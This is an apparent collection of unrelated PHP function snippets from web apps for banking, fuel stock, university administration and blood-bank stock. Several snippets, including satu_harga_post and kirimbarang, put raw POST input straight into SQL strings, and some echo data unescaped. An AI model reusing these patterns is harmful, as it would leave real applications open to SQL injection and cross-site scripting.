=>json_decode($pengajuan['detail'],true)['id_pencairan'],\n 'status' =>\"Setoran Awal\",\n ];\n if($this->setoranAwal($detail_pdeposito,$data))return true;\n else return false;\n }\n elseif($pengajuan['kategori']==\"Pembiayaan\"){\n $rekening =$this->getRekeningByid((json_decode($pengajuan['detail'],true)['pembiayaan']));\n $tab = $this->pembiayaan->where('id_user', $pengajuan->id_user)->orderBy('id','DESC')->get();\n if(count($tab)<1)$id=1;\n else $id=str_after($tab[0]['id_pembiayaan'], '.')+1;\n $lama_angsuran =1;\n if( str_after( json_decode($pengajuan['detail'],true)['keterangan'],\" \") == \"Tahun\"){\n $lama_angsuran = str_before( json_decode($pengajuan['detail'],true)['keterangan'],\" \") *12;\n }\n elseif( str_after( json_decode($pengajuan['detail'],true)['keterangan'],\" \") == \"Bulan\"){\n $lama_angsuran = str_before( json_decode($pengajuan['detail'],true)['keterangan'],\" \");\n }\n $margin_total = (floatval(json_decode($pengajuan['detail'],true)['jumlah'] )* floatval($data['nisbah'])/100)*floatval($lama_angsuran);\n $pinjaman_total = floatval(json_decode($pengajuan['detail'],true)['jumlah'] )+ $margin_total;\n $angsuran_pokok = floatval($pinjaman_total/$lama_angsuran );\n $detail_ppembiayaan=[\n 'teller' => Auth::user()->id,\n 'dari_rekening' => $data['bank'],\n 'untuk_rekening' => \"Tunai\",\n 'angsuran_pokok' => $angsuran_pokok ,\n 'angsuran_ke' => 0,\n 'nisbah' => floatval($data['nisbah'])/100,\n 'margin' => $margin_total,\n 'jumlah' => floatval(json_decode($pengajuan['detail'],true)['jumlah']),\n 'tagihan' => $angsuran_pokok ,\n 'sisa_angsuran' => floatval(json_decode($pengajuan['detail'],true)['jumlah']),\n 'sisa_margin' => $margin_total,\n 'sisa_pinjaman' => $pinjaman_total,\n ];\n\n $data=[\n 'detail_rekening' => $rekening->detail,\n 'lama_angsuran' => $lama_angsuran,\n 'tipe' => $pengajuan['kategori'],\n 'id_UsrTDP' => $pengajuan['id_user'].\".\".$id,\n 'id_TDP' => $pengajuan['id_rekening'],\n 'id_pengajuan' => $pengajuan['id'],\n 'tempo' => date(now()),\n 'margin' => $margin_total,\n 'jumlah' => floatval(json_decode($pengajuan['detail'],true)['jumlah']),\n 'nisbah' => floatval($data['nisbah'])/100,\n 'jenis_TDP' => json_decode($pengajuan['detail'],true)['nama_rekening'],\n 'id_user' => $pengajuan->id_user,\n 'status' => \"Pencairan Pembiayaan\",\n 'saksi1' => $data['saksi1'],\n 'saksi2' => $data['saksi2'],\n 'alamat2' => $data['alamat2'],\n 'ktp2' => $data['ktp2']\n ];\n\n if($this->setoranAwal($detail_ppembiayaan,$data))return true;\n else return false;\n }\n }",
"public function TemparioData(){\n\t\t$this->id = \"\"; \n\t\t$this->id_tempario = \"\";\n\t\t$this->descripcion = \"\";\n\t\t$this->tiempo = \"\";\n\t\n\t\t\n\t}",
"public function data_matkul(){\n\t\t$tahun = \"t_tahun_akademik\";\n\t\t$mk = \"t_mk\";\n\t\t$data['content'] = \"report/matkul\";\n\t\t$data['data_tahun'] = $this->m_aka->get_all($tahun);\n\t\t$data['mk'] = $this->m_aka->get_all($mk);\n\t\t$this->load->view(\"content\", $data);\n\t}",
"public static function dodajArtikelVKosarico() {\n $id = $_SESSION[\"uporabnik_id\"];\n $uporabnik = UporabnikiDB::get($id);\n\n $id_artikla = filter_input(INPUT_POST, \"id\", FILTER_SANITIZE_SPECIAL_CHARS);\n $status = \"kosarica\";\n\n // ce narocilo ze obstaja mu samo povecamo kolicino \n // drugace narocilo ustvarimo\n $narocilo = NarocilaDB::getByUporabnikId($id, $status);\n\n if (!$narocilo) {\n\n $id_narocila = NarocilaDB::insert($id, $status);\n PodrobnostiNarocilaDB::insert($id_artikla, 1, $id_narocila);\n\n } else {\n\n $podrobnost_narocila = PodrobnostiNarocilaDB::getByNarociloAndArtikel($narocilo[\"id\"], $id_artikla);\n\n if (!$podrobnost_narocila) {\n PodrobnostiNarocilaDB::insert($id_artikla, 1, $narocilo[\"id\"]);\n } else {\n PodrobnostiNarocilaDB::edit($id_artikla, $podrobnost_narocila[\"kolicina\"] + 1, $narocilo[\"id\"]); \n } \n }\n\n echo ViewHelper::redirect(BASE_URL);\n\n }",
"public function satu_harga_post()\n\n {\n\n $ins['id_bbm'] = $_POST['id_bbm'];\n\n $ins['no_spbu'] = str_replace(\" \", \"\", $_POST['no_spbu']);\n\n\n\n // stok awal\n\n $stok_awal_length = strlen((string)$_POST['stok_awal']);\n\n if ($stok_awal_length > 6) {\n\n $ins['stok_awal'] = 'error';\n\n } else {\n\n $ins['stok_awal'] = $_POST['stok_awal'];\n\n }\n\n\n\n // penerimaan\n\n $terima_length = strlen((string)$_POST['terima']);\n\n if ($terima_length > 6) {\n\n $ins['terima'] = 'error';\n\n } else {\n\n $ins['terima'] = $_POST['terima'];\n\n }\n\n\n\n// \t\t$ins['terima'] = $_POST['terima'];\n\n if ($ins['terima'] == '000' || $ins['terima'] == '0') {\n\n $ins['terima'] = 0;\n\n } else if ($ins['terima'] == \"\") {\n\n $ins['terima'] = \"\";\n\n } else {\n\n $ins['terima'] = $ins['terima'];\n\n }\n\n\n\n // jual\n\n $jual_length = strlen((string)$_POST['jual']);\n\n if ($jual_length > 6) {\n\n $ins['jual'] = 'error';\n\n } else {\n\n $ins['jual'] = $_POST['jual'];\n\n }\n\n\n\n $ins['stok_akhir'] = $ins['stok_awal'] + $ins['terima'] - $ins['jual'];\n\n\n\n // jika spbu sudah pernah melakukan transaksi dengan id_bbm tertentu\n\n $rowCount = $this->db->query(\"SELECT * FROM kg_bbm_satu_harga WHERE no_spbu = '{$ins[\"no_spbu\"]}' AND id_bbm = '{$ins[\"id_bbm\"]}' ORDER BY create_date DESC\")->num_rows();\n\n if ($rowCount > 0) {\n\n $ins['loses'] = $ins['stok_awal'] - $this->get_stok_akhir($ins['no_spbu'], $ins['id_bbm']);\n\n } else {\n\n $ins['loses'] = 0;\n\n }\n\n\n\n $ins['modify_date'] = date(\"Y-m-d H:i:s\");\n\n $ins['create_date'] = date(\"Y-m-d H:i:s\");\n\n $ins['tgl'] = date(\"Y-m-d\");\n\n\n\n // filter input\n\n if ($ins['stok_awal'] == 'error') {\n\n echo \"Angka Stok awal tidak boleh lebih dari 6 digit\";\n\n } else if ($ins['jual'] == 'error') {\n\n echo \"Angka penjualan tidak boleh lebih dari 6 digit\";\n\n } else if ($ins['terima'] === \"error\") {\n\n echo \"Angka penerimaan BBM tidak boleh lebih dari 6 digit\";\n\n } else if ($ins['terima'] === \"\") {\n\n echo \"Angka penerimaan BBM harus diisi 0\";\n\n } else if ($ins['id_bbm'] == 0) {\n\n echo \"Pilihan BBM harus dipilih salah satu\";\n\n } else if ($ins['jual'] == \"\" || $ins['stok_awal'] == \"\") {\n\n echo \"Kolom harus diisi\";\n\n } else {\n\n\n\n // if user ingin revisi input di tanggal yang sama\n\n\n\n $q_cek_input = $this->db->query(\"SELECT * FROM kg_bbm_satu_harga WHERE id_bbm = '\" . $ins['id_bbm'] . \"' AND\n\n\t\t no_spbu = '\" . $ins['no_spbu'] . \"' AND tgl = '\" . $ins['tgl'] . \"' \");\n\n\n\n // if spbu sudah input\n\n if ($q_cek_input->num_rows() > 0) {\n\n\n\n $this->db->where('id_bbm', $ins['id_bbm']);\n\n $this->db->where('no_spbu', $ins['no_spbu']);\n\n $this->db->where('tgl', $ins['tgl']);\n\n\n\n // update just modified_date\n\n unset($ins['create_date']);\n\n // update all data except modified date\n\n if ($this->db->update('kg_bbm_satu_harga', $ins)) {\n\n $this->response([\"status\" => \"ok\", \"message\" => \"updated\"]);\n\n } else {\n\n echo \"Input Stock Gagal\";\n\n }\n\n\n\n } else {\n\n\n\n if ($this->db->insert(\"kg_bbm_satu_harga\", $ins)) {\n\n $this->response([\"status\" => \"ok\", \"message\" => \"inserted\"]);\n\n } else {\n\n echo \"Input Stock Gagal\";\n\n }\n\n\n\n }\n\n\n\n }\n\n }",
"public function kirimbarang(){\n\t\t$no_order \t= $this->input->post('no_order');\n\t\t$ket \t= $this->input->post('ket');\n\t\tif ($ket == 'Modifikasi') {\n\t\t\t$get = $this->M_monitoringorder->getdatamodif(\"where no_order = '$no_order'\");\n\t\t}elseif ($ket == 'Baru') {\n\t\t\t$get = $this->M_monitoringorder->getdatabaru(\"where no_order = '$no_order'\");\n\t\t}else {\n\t\t\t$get = $this->M_monitoringorder->getdatarekondisi(\"where no_order = '$no_order'\");\n\t\t}\n\t\t// echo \"<pre>\";print_r($get);exit();\n\t\t$cek \t\t= $this->M_monitoringorder->cekaction($no_order, \"and person = 10\"); // status 10 = barang sudah selesai / akan kirim ke seksi pengorder\n\t\tif (empty($cek)) {\n\t\t\t$this->M_monitoringorder->saveaction($no_order, 10, 1, '', date('Y-m-d H:i:s'), $this->session->user);\n\t\t}else {\n\t\t\t$this->M_monitoringorder->updateaction($no_order, 10, 1, '', date('Y-m-d H:i:s'), $this->session->user);\n\t\t}\n\t\tif (stripos($get[0]['jenis'], 'FIXTURE') !== FALSE) {\n\t\t\t$jenis = substr($get[0]['jenis'],0,7);\n\t\t}elseif (stripos($get[0]['jenis'], 'MASTER') !== FALSE) {\n\t\t\t$jenis = substr($get[0]['jenis'],0,6);\n\t\t}elseif (stripos($get[0]['jenis'], 'GAUGE') !== FALSE) {\n\t\t\t$jenis = substr($get[0]['jenis'],0,5);\n\t\t}elseif (stripos($get[0]['jenis'], 'ALAT LAIN') !== FALSE) {\n\t\t\t$jenis = substr($get[0]['jenis'],0,9);\n\t\t}else {\n\t\t\t$jenis = $get[0]['jenis'];\n\t\t}\n\t\t$this->send_email_kirim($get[0]['pengorder'], $get[0]['no_order'], $get[0]['seksi'], $jenis);\n\t\tredirect(base_url('OrderToolMakingAdminPPC/MonitoringOrder/'));\n\t}",
"public function getKojabStruktural(){\n if(isset($_POST['kolok'])){\n $kolok = $_POST['kolok'];\n }else{\n $return = array('response' => 'GAGAL', 'err' => 'No Kolok');\n echo json_encode($return);\n exit();\n }\n \n $listKojab = $this->infopegawai->getMasterKojab($kolok);\n //var_dump($listKojab);\n $arr = array('response' => 'SUKSES', 'listKojab' => $listKojab);\n echo json_encode($arr);\n }",
"public function dataMahasiswa()\n\t{\n\t\t$this->db->select('*');\n\t\t$this->db->from('tb_mahasiswa');\n\t\t$this->db->order_by('nim', 'asc');\n\t\t$data = $this->db->get('');\n\t\treturn $data;\n\t}",
"function add_data($dato1,$dato2,$dato3,$dato4,$dato5, $dato6, $dato7)\n {\n $this->data['data1'] = $dato1; //usuario\n $this->data['data2'] = $dato2; //password\n $this->data['data3'] = $dato3; //privilegio\n $this->data['data4'] = $dato4; //estatus\n $this->data['data5'] = $dato5; //regDate\n $this->data['data6'] = $dato6; //nombre\n $this->data['data7'] = $dato7; //guid\n }",
"public function jadwalPas($kelas, $pembagianJam, $hari, $id_guru)\n\t{\n\t\techo \"jumlah hari yang tersedia :\" . count($hari) . \"<br>\";\n\t\techo \"<div style='background-color: #DC143C'>Pembagian_jam ($pembagianJam sks) -> </div>\";\n\t\t// echo implode(\", \", $pembagianJam);\n\t\t// foreach ($pembagianJam as $beban_jam) {\n\t\t// echo \"value pembagian : $beban_jam <br>\";\n\t\t$error = 0;\n\t\tforeach ($hari as $valueDataHari) {\n\t\t\t$jumlahHariKosong = 0;\n\t\t\t// echo $kelas;\n\t\t\techo $valueDataHari;\n\t\t\t$dataJadwal = $this->Jadwal_Model->getDataPenjadwalan($kelas, $valueDataHari, $id_guru);\n\t\t\t// echo \"</br>\";\n\t\t\t// print_r($dataJadwal);\n\t\t\t// echo \"</br>\";\n\t\t\t$data = [];\n\t\t\tif ($pembagianJam <= count($dataJadwal)) {\n\t\t\t\tforeach ($dataJadwal as $dataHari) {\n\t\t\t\t\tif ($dataHari->kode_jadwal == '-' && $dataHari->keterangan == 'kosong') {\n\t\t\t\t\t\t$jumlahHariKosong++;\n\t\t\t\t\t\t$data[] = $dataHari->sesi;\n\t\t\t\t\t\tif (count($data) == $pembagianJam) {\n\t\t\t\t\t\t\t$sesi[$valueDataHari][] = $data;\n\t\t\t\t\t\t\t$data = [];\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$data = [];\n\t\t\t\t\t\t$jumlahHariKosong = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif ($jumlahHariKosong == $pembagianJam) {\n\t\t\t\t\t$result = [\n\t\t\t\t\t\t'status' => 'Press',\n\t\t\t\t\t\t'sesi' => $pembagianBebanJam[$pembagianJam][] = $sesi\n\t\t\t\t\t];\n\t\t\t\t} else if ($jumlahHariKosong > $pembagianJam) {\n\t\t\t\t\t$result = [\n\t\t\t\t\t\t'status' => 'tidakPress',\n\t\t\t\t\t\t'sesi' => $pembagianBebanJam[$pembagianJam][] = $sesi\n\t\t\t\t\t];\n\t\t\t\t} else {\n\t\t\t\t\t$result = [\n\t\t\t\t\t\t'status' => 'ada sesuatu',\n\t\t\t\t\t];\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$error++;\n\t\t\t\tif ($error == count($hari)) {\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'status' => 'tidakMuat'\n\t\t\t\t\t];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// }\n\t\treturn $result;\n\t}",
"function cek_jabatan_kedepan(){\n\t\t\n\t\t$kd_dosen = $this->session->userdata('kd_dosen');\n\t\t$ta = $this->_generate_ta($this->session->userdata('r_ta'));\n\t\t$smt = $this->_generate_smt($this->session->userdata('r_smt'));\n\t\t\n\t\t$tahun = $this->session->userdata('r_ta');\n\t\t$semester = $this->session->userdata('r_smt');\n\t\t\n\t\t$data = $this->setting->_is_pejabat_penunjang_nt();\n\t\t$tgl_laporan = $this->setting->_tanggal_akhir_laporan($ta, $smt, 'rbkd');\n\t\t\n\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/data_rbkd';\n\t\t$parameter = array('api_search' => array('D', $kd_dosen, $tahun, $semester));\n\t\t$data['data_beban'] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t# data kegiatan\n\t\t$kegiatan = $data['nama_jabatan'];\n\t\t$masa_penugasan = $data['masa_penugasan'];\n\t\t$bukti_penugasan = $data['bukti_penugasan']; $bkt_dokumen = $data['bukti_penugasan'];\n\t\t$sks = $data['sks_maks'];\n\t\t\n\t\tif(count($data['data_beban']) <= 1){\n\t\t\tif($data['tgl_selesai'] == '' || \n\t\t\t\tdate('d-m-Y', strtotime($data['tgl_selesai'])) > \n\t\t\t\tdate('d-m-Y', strtotime(str_replace('/','-', $tgl_laporan)))\n\t\t\t){\n\t\t\t\t\n\t\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/simpan_rbkd';\n\t\t\t\t$parameter = array('api_search' => array('D', $kd_dosen, $kegiatan, $bukti_penugasan, $sks, $masa_penugasan, $tahun, $semester, '', $ta, $smt));\n\t\t\t\t$simpan = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t\t}\n\t\t}\n\t\tredirect('bkd/dosen/bebankerja/rbkd/D');\t\t\n\t}",
"public function tambahDataKC()\n {\n $data = array(\n 'kode_cabang' => htmlspecialchars($this->input->post('kode_cabang', true)),\n 'nama_kantorcabang' => htmlspecialchars($this->input->post('nama_kantorcabang', true))\n );\n\n //QUERY INSERT DATA\n $this->db->insert('tb_kantorcabang', $data);\n // Produces: INSERT INTO mytable (title, name, date) VALUES ('My title', 'My name', 'My date')\n }",
"public function simpan_data_res($tabel, $data)\n {\n \t$this->db->insert($tabel, $data);\n }",
"public function nahrajObrazky(){\t\t\t\n\t\t\t$dotaz = \"SELECT obrazekID,filepath,tabObrazky.uzivatelID,uzivatelJmeno FROM tabObrazky \n\t\t\t\t\tJOIN tabUzivatele ON tabUzivatele.uzivatelID = tabObrazky.uzivatelID WHERE 1 \";\n\t\t\t\n\t\t\t\t//echo \"X \".$dotaz .\" X\";\n\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\t$vratit = array();\n\t\t\t\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"During data upload an error occured!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\telse{\n\t\t\t//case result is mysqli_result\n\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\tforeach($pole as $radek ){\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tforeach($radek as $x => $x_value) {\n\t\t\t\t\techo \"Key=\" . $x . \", Value=\" . $x_value;\n\t\t\t\t\techo \"<br>\";\n\t\t\t\t}\n\t\t\t\t*/\n\n\t\t\t\t$obrazekID = $radek[\"obrazekID\"];\n\t\t\t\t$filePath = $radek[\"filepath\"];\n\t\t\t\t$uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t$jmenoUzivateleCoNahral = $radek[\"uzivatelJmeno\"];\t\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\techo $obrazekID;\n\t\t\t\techo $filePath;\n\t\t\t\techo $uzivatelID;\n\t\t\t\t*/\n\t\t\t\t//echo '*'.$jmenoUzivateleCoNahral.'*';\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$obrazek = new obrazekObjekt($obrazekID, $filePath,$uzivatelID,$jmenoUzivateleCoNahral);\n\t\t\t\t\n\t\t\t\t//echo $obrazek->filePath;\n\t\t\t\t//echo $obrazek->jmenoUzivateleCoNahral;\n\t\t\t\t\n\t\t\t\tarray_push($vratit,$obrazek); \n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t}\t\n\t\treturn\t$vratit;\t\t\n\t\t\n\t}",
"function ambil_data(){\n\t\t$this->db->order_by($this->id_admin,$this->order);\n\t\treturn $this->db->get($this->nama_table)->result();\n\t}",
"public function ubahCari()\n\t{\n\t\t// bersihkan data $_POST\n\t\t$dataID = bersih($_POST['cari']);\n\t\t\n\t\t// Set pemboleubah utama\n $this->papar->pegawai = senarai_kakitangan();\n $this->papar->lokasi = 'MDT 2012 - Ubah';\n\t\t\n\t\t// paparkan ke fail kawalan/ubah.php\n\t\theader('location: ' . URL . 'kawalan/ubah/' . $dataID);\n\n\t}",
"public function insertData()\n\t{\n\t\t$data = array(\n\t\t\t/* 'id' yang dikiri harus sama seperti di table\n\t\t\t'id' yang dikanan harus menurut name inputnya */\n\t\t\t'id_transaksi' => $this->input->post('id_transaksi'),\n\t\t\t'id_pelanggan' => $this->input->post('id_pelanggan'),\n\t\t\t'order_id' => $this->input->post('order_id'),\n\t\t\t'message' => $this->input->post('message'),\n\t\t\t'tgl_kirim' => $this->input->post('tgl_kirim'),\n\t\t\t'tgl_terima' => $this->input->post('tgl_terima')\n\t\t);\n\t\t/* jika semua sama sperti di table\n\t\tgunakan versi simple seprti berikut */\n\t\t$data = $this->input->post();\n\t\t/* eksekusi query insert into \"transaksi\" diisi dengan variable $data\n\t\tface2face ae lek bingung :| */\n\t\t$this->db->insert(\"transaksi\",$data);\n\t}",
"public function data_pengumuman_akademik()\n\t{\n\t\t$data['data'] = $this->m_aka->data_pengumuman_akademik(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'posting_pengumuman/data_pengumuman_akademik';\n\t\t$this->load->view('content', $data);\n\t}",
"function getDataPararel($conn,$key) {\n\t\t\t$sql = \"select k.kelasmk, k.dayatampung, k.jumlahpeserta from \".static::table('ak_kelas').\" k\n\t\t\t\t\twhere \".static::getCondition($key,'thnkurikulum,kodemk,kodeunit,periode','k').\"\n\t\t\t\t\torder by k.kelasmk\";\n\t\t\t\n\t\t\treturn $conn->GetArray($sql);\n\t\t}",
"public function add_data_mahasiswa()\n\t{\n\t\t$save = $this->input->post('add_mahasiswa');\n\t\t$kelas = 't_kelas';\n\t\t$tahun = 't_tahun_akademik';\n\t\t$prodi = \"t_prodi\";\n\t\t$data['kelas'] = $this->m_aka->get_all($kelas);\n\t\t$data['tahun_aka'] = $this->m_aka->get_all($tahun);\n\t\t$data['prodi'] = $this->m_aka->get_all($prodi);\n\t\t$data['content'] = 'mahasiswa/tambah_mahasiswa';\n\t\t$this->load->view('content', $data);\n\t}",
"public function index()\n {\n try {\n // get data from model\n $stok_darah = StokDarah::all();\n // data respon\n $data_respon = [\n [\n \"produk\" => \"WB\",\n \"stok\" => [\n \"A\" => 0,\n \"B\" => 0,\n \"AB\" => 0,\n \"O\" => 0,\n \"Total\" => 0\n ]\n ],\n [\n \"produk\" => \"PRC\",\n \"stok\" => [\n \"A\" => 0,\n \"B\" => 0,\n \"AB\" => 0,\n \"O\" => 0,\n \"Total\" => 0\n ]\n ],\n [\n \"produk\" => \"TC\",\n \"stok\" => [\n \"A\" => 0,\n \"B\" => 0,\n \"AB\" => 0,\n \"O\" => 0,\n \"Total\" => 0\n ]\n ],\n [\n \"produk\" => \"FFP\",\n \"stok\" => [\n \"A\" => 0,\n \"B\" => 0,\n \"AB\" => 0,\n \"O\" => 0,\n \"Total\" => 0\n ]\n ],\n [\n \"produk\" => \"AHF\",\n \"stok\" => [\n \"A\" => 0,\n \"B\" => 0,\n \"AB\" => 0,\n \"O\" => 0,\n \"Total\" => 0\n ]\n ],\n [\n \"produk\" => \"LP\",\n \"stok\" => [\n \"A\" => 0,\n \"B\" => 0,\n \"AB\" => 0,\n \"O\" => 0,\n \"Total\" => 0\n ]\n ],\n [\n \"produk\" => \"WE\",\n \"stok\" => [\n \"A\" => 0,\n \"B\" => 0,\n \"AB\" => 0,\n \"O\" => 0,\n \"Total\" => 0\n ]\n ],\n [\n \"produk\" => \"FP\",\n \"stok\" => [\n \"A\" => 0,\n \"B\" => 0,\n \"AB\" => 0,\n \"O\" => 0,\n \"Total\" => 0\n ]\n ],\n [\n \"produk\" => \"Leucodeplete\",\n \"stok\" => [\n \"A\" => 0,\n \"B\" => 0,\n \"AB\" => 0,\n \"O\" => 0,\n ]\n ],\n ];\n\n if (count($stok_darah) > 0) {\n // mengelompokkan data\n foreach ($stok_darah as $st) {\n switch ($st->produk) {\n case 'WB':\n if ($st->jenis_darah == \"A\") {\n $data_respon[0][\"stok\"][\"A\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"B\") {\n $data_respon[0][\"stok\"][\"B\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"AB\") {\n $data_respon[0][\"stok\"][\"AB\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"O\") {\n $data_respon[0][\"stok\"][\"O\"] += (int)$st->jumlah;\n }\n break;\n\n case 'PRC':\n if ($st->jenis_darah == \"A\") {\n $data_respon[1][\"stok\"][\"A\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"B\") {\n $data_respon[1][\"stok\"][\"B\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"AB\") {\n $data_respon[1][\"stok\"][\"AB\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"O\") {\n $data_respon[1][\"stok\"][\"O\"] += (int)$st->jumlah;\n }\n break;\n\n case 'TC':\n if ($st->jenis_darah == \"A\") {\n $data_respon[2][\"stok\"][\"A\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"B\") {\n $data_respon[2][\"stok\"][\"B\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"AB\") {\n $data_respon[2][\"stok\"][\"AB\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"O\") {\n $data_respon[2][\"stok\"][\"0\"] += (int)$st->jumlah;\n }\n break;\n\n case 'FFP':\n if ($st->jenis_darah == \"A\") {\n $data_respon[3][\"stok\"][\"A\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"B\") {\n $data_respon[3][\"stok\"][\"B\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"AB\") {\n $data_respon[3][\"stok\"][\"AB\"] += (int)$st->jumlah;\n } elseif ($st->jenis_darah == \"O\") {\n $data_respon[3][\"stok\"][\"0\"] += (int)$st->jumlah;\n }\n break;\n\n default:\n # code...\n break;\n }\n }\n\n for ($i = 0; $i < count($data_respon); $i++) {\n $data_respon[$i][\"stok\"][\"Total\"] = $data_respon[$i][\"stok\"][\"A\"] + $data_respon[$i][\"stok\"][\"B\"] + $data_respon[$i][\"stok\"][\"AB\"] + $data_respon[$i][\"stok\"][\"O\"];\n }\n\n return response()->json([\n 'status' => 'success',\n 'message' => 'Data tersedia',\n 'data' => $data_respon\n ], 200);\n } else {\n return response()->json([\n 'status' => 'failed',\n 'message' => 'Data tidak tersedia',\n 'data' => []\n ], 404);\n }\n } catch (\\Throwable $th) {\n // when error\n return response()->json([\n 'status' => 'error',\n 'message' => $th->getMessage(),\n 'data' => []\n ], 500);\n }\n }",
"function cek_dpl(){\n\t\t$kd_dosen = $this->session->userdata('kd_dosen');\n\t\t$ta = $this->session->userdata('ta');\n\t\t$smt = $this->session->userdata('smt');\n\t\t# cek data beban kerja\n\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/cek_data_bkd';\n\t\t$parameter = array('api_search' => array($kd_dosen, 'C', $ta, $smt));\n\t\t$data['jml'] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t#echo $data['jml']; print_r($parameter); die();\n\t\tif ($data['jml'] == 0){\n\t\t\t$url\t\t= 'http://service.uin-suka.ac.id/servsiasuper/index.php/';\n\t\t\t$parameter\t= array('api_kode' => 1000, 'api_subkode' => 1, 'api_search' => array($kd_dosen));\n\t\t\t$data\t\t= $this->mdl_bkd->get_api_kkn('kkn_admin/data_dpl_kkn', 'json', 'POST', $parameter);\n\t\t\tif(count($data) > 0){\n\t\t\t\t$tema = $data[0]['TEMA_KKN'];\n\t\t\t\t$angkatan = $data[0]['ANGKATAN'];\n\t\t\t\t$periode = $data[0]['PERIODE'];\n\t\t\t\t$ta = $data[0]['TA'];\n\t\t\t\t$tgl_mulai = $data[0]['TANGGAL_MULAI'];\n\t\t\t\t$tgl_selesai = $data[0]['TANGGAL_SELESAI'];\n\t\t\t\t$kelompok = $data[0]['JUM_KELOMPOK'];\n\t\t\t\t# BEBAN KERJA\n\t\t\t\t$jenis_kegiatan = \"Menjadi Dosen Pembimbing Lapangan (DPL) KKN, Angkatan \".$angkatan.\", Periode \".$periode.\", dengan Tema \\\"\".$tema.\"\\\", Kelompok \".$kelompok;\n\t\t\t\t$masa_penugasan = \"1 Semester\";\n\t\t\t\t$bukti_penugasan = '-'; $bkt_dokumen = '-';\n\t\t\t\t$sks_rule = 1;\n\t\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/simpan_beban_kerja_sia';\n\t\t\t\t$parameter = array('api_search' => array($kd_dosen, 'C', $jenis_kegiatan, $bukti_penugasan, $sks_rule, $masa_penugasan, $sks_rule, $bkt_dokumen, $ta, $smt, 'LANJUTKAN','100'));\n\t\t\t\t$simpan = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t\t\tif($simpan){\n\t\t\t\t\t# get last id beban kerja \n\t\t\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/get_current_data_tersimpan';\n\t\t\t\t\t$parameter\t= array('api_search' => array('BKD.BKD_BEBAN_KERJA','KD_BK'));\n\t\t\t\t\t$getid = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter); \n\t\t\t\t\t#simpan data pengabdian\n\t\t\t\t\t$sumber_dana = '-'; $jumlah_dana = 0;\n\t\t\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/simpan_data_pengabdian';\n\t\t\t\t\t$parameter\t= array('api_search' => array($getid, $tgl_mulai, $tgl_selesai, $tema, $sumber_dana, $jumlah_dana, '50'));\n\t\t\t\t\t$simpan = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t\t\t}\n\t\t\t\tredirect('bkd/dosen/bebankerja/data/C');\n\t\t\t}else{\n\t\t\t\tredirect('bkd/dosen/bebankerja/data/C');\n\t\t\t}\n\t\t}else{\n\t\t\tredirect('bkd/dosen/bebankerja/data/C');\t\t\n\t\t}\n\t}",
"function BBdekat_tempatIbadah(){\n\t\t$this->db->select('batas_bawah');\n\t\t$this->db->where('nama_parameter', 'dekat');\n\t\t$q = $this->db->get('parameter');\n\t\t$data = $q->result_array();\n\n\t\treturn $hasil = $data[1]['batas_bawah'];\n\t}",
"function tampil_data($koneksi){\n\t$sql = \"SELECT * FROM saksi LEFT JOIN jenis_kelamin ON saksi.id_jk = jenis_kelamin.id_jk\";\n\t$query = mysqli_query($koneksi, $sql);\n\t$nomor = 1;\n\t\n\t\techo \"<fieldset>\";\n\t\techo \"<div class='table-responsive'>\";\n\t\techo \"<table class='table table-responsive-sm table-bordered table-hover' id='user' border='1' cellpadding='10'>\";\n\t\techo \"<thead>\";\n\t\t\techo \"<tr>\";\n\t\t\techo \"<th>No</th>\n\t\t\t\t<th>No. Berkas</th>\n\t\t\t\t<th>No. Berkas Yuridis</th>\n\t\t\t\t<th>NUB</th>\n\t\t\t\t<th>Nama Pemohon</th>\n\t\t\t\t<th>Jenis Pemohon</th>\n\t\t\t\t<th>Jenis Hak</th>\n\t\t\t\t<th>Jenis Alas Hak</th>\n\t\t\t\t<th>Luas Yang Dimohon</th>\n\t\t\t\t<th>Luas Pengukuran</th>\n\t\t\t\t<th>NIB</th>\n\t\t\t\t<th>Petugas Yuridis</th>\n\t\t\t\t<th>Edit</th>\";\t\n\t\t\techo \"</tr>\";\n\t\techo \"</thead>\";\n\t\techo \"<tbody>\";\n\twhile($data = mysqli_fetch_array($query)){\n\t\t?>\n\t\t\t<tr>\n\t\t\t\t<td><?= $nomor++; ?>.</td>\n\t\t\t\t<td><?php echo $data['nama_saksi']; 